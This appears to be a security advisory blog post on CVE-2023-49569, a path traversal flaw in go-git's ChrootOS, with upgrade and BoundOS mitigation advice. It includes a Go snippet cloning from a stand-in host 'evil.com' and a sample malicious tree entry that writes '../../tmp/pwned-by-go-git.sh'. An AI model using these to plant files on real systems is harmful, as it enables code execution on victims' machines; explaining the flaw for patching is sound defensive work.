In December 2023, a critical path traversal vulnerability was discovered in go-git, a popular pure Go implementation of Git used in countless projects. Identified as CVE-2023-49569, this flaw allows attackers to write or amend files outside of the target repository's directory, potentially resulting in remote code execution. This post dives into what the vulnerability is, how you can exploit it, and how to protect your applications.
What is Go-Git and Who is Vulnerable?
go-git is a popular Go library that provides a way to interact with Git repositories in purely Go code – no external dependencies. It is widely used in CI/CD pipelines, developer portals, package managers, and more.
The problem lies specifically with certain filesystem abstractions in go-git
- Vulnerable: Applications using ChrootOS (the default in many cases, especially when PlainClone or PlainOpen are used)
- Not Vulnerable: Applications using BoundOS, in-memory filesystems, or custom safe filesystems.
Note: This is _not_ a vulnerability in the upstream Git CLI tool! It is unique to the go-git Go library.
How CVE-2023-49569 Works: Path Traversal with ChrootOS
The ChrootOS filesystem abstraction in go-git is supposed to "lock" repositories into a directory, preventing them from affecting the wider filesystem. However, versions before v5.11 failed to securely validate file paths when extracting or writing files. This allows attackers to include paths like ../../outside/file in repository contents (trees, objects, etc.), causing extraction or checkout to write files _outside_ of the intended repo folder.
Exploit Scenario
An attacker creates a malicious repository containing files with paths like ../../tmp/myevil.sh. When a vulnerable application clones (with PlainClone) or checks out this repo using go-git, the code will happily write files anywhere allowed by the filesystem permissions – including critical system folders!
Overwriting important config files
- Placing malicious scripts in startup locations (= remote code execution on system/services restart)
Here’s a simplified example showing how an attacker could use this flaw
package main
import (
"os"
"github.com/go-git/go-git/v5"
)
func main() {
// Attacker's repository containing path exploitation - for example purposes
repoURL := "https://evil.com/malicious-repo.git";
// The vulnerable PlainClone uses ChrootOS by default
_, err := git.PlainClone("/tmp/benign-target", false, &git.CloneOptions{
URL: repoURL,
})
if err != nil {
panic(err)
}
// After clone, files in ../../tmp or even /etc (if permissions allow!) may be overwritten
}
Malicious .git tree example
tree bdf60f42...
100755 blob e69de29bb2... ../../tmp/pwned-by-go-git.sh
This means the attacker can make the victim create or overwrite /tmp/pwned-by-go-git.sh just by cloning!
Who is at Risk?
- Any Go app (including cloud, server, CI tools, sidecar containers, etc.) using go-git < v5.11 with default clone/open routines
- Automated services doing trusted or untrusted repository cloning (e.g., build scripts, "bring your own repo" SaaS, etc.)
Upgrade Immediately
The go-git maintainers patched this in v5.11..
You must upgrade to v5.11. or newer!
- Changelog entry
- Patch PR: CVE-2023-49569: fix ChrootFS path traversal
Temporary Mitigations
- Switch to BoundOS if you cannot upgrade, which validates file paths better.
References
- go-git Issue #688: Path Traversal with ChrootFS
- NVD CVE-2023-49569 Entry
- go-git official documentation
- Billy Filesystem Abstraction
Check if you’re using go-git below v5.11. in your codebase.
2. Search for usage of PlainClone, PlainOpen, or ChrootOS – these are the typical danger zones.
If you can’t upgrade, switch to BoundOS or a safer filesystem abstraction.
Do not delay – path traversal vulnerabilities are easily abused and attackers love to exploit cloud CI/CD automation. You do *not* want someone dropping malicious files on your server because of a flawed Git library.
Stay safe, patch up, and always audit your dependencies!
Timeline
Published on: 01/12/2024 11:15:13 UTC
Last modified on: 01/22/2024 18:57:03 UTC